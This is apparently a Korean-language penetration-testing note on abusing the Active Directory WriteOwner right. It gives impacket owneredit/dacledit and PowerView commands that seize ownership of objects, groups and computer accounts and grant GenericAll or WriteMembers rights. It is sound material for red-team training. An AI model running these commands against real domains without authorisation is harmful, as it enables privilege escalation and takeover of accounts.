대상 개체에 대한 소유권을 변경할 수 있는 권한으로, 소유권이 변경되면 개체의 유형에 따라 공격 방식이 다르지만, 기본적으로 WriteDACL을 이용하여 GenericAll 권한을 위임할 수 있습니다. 아래는 개체의 유형 별 가능한 공격을 간단하게 정리한 테이블입니다.
WriteOwner 권한이 있는 상태에서 impacket 모듈 두가지를 사용하여 소유권을 변경합니다.
# 소유권 변경
impacket-owneredit -action write -new-owner <USER> -target <Target> <Domain>/<USER>:<PASS>
# impacket을 이용한 GenericAll 권한 위임
impacket-dacledit -action write -rights FullControl -principal <USER> -target <Target> <Domain>/<USER>:<PASS>
# PowerView.ps1을 이용한 GenericAll 권한 위임
Add-DomainObjectAcl -Rights "all" -TargetIdentity <Target> -PrincipalIdentity <USER>
그룹에 대해 WriteOwner 권한이 있는 경우 소유권을 변경한 뒤 AddMembers 권한을 위임합니다.
# 소유권 변경
impacket-owneredit -action write -new-owner <USER> -target <Target> <Domain>/<USER>:<PASS>
# WriteDACL을 이용한 WriteMembers 권한 위임
impacket-dacledit -action write -rights WriteMembers -principal <USER> -target <Target> <Domain>/<USER>:<PASS>
컴퓨터에 대한 WriteOwner 권한은 해당 머신 계정에 대한 GenericAll 권한 위임이 가능합니다.
# 소유권 변경
impacket-owneredit -action write -new-owner <USER> -target <Target> <Domain>/<USER>:<PASS>
# WriteDACL을 이용한 GenericAll 권한 위임
impacket-dacledit -action write -rights FullControl -principal <USER> -target <Target> <Domain>/<USER>:<PASS>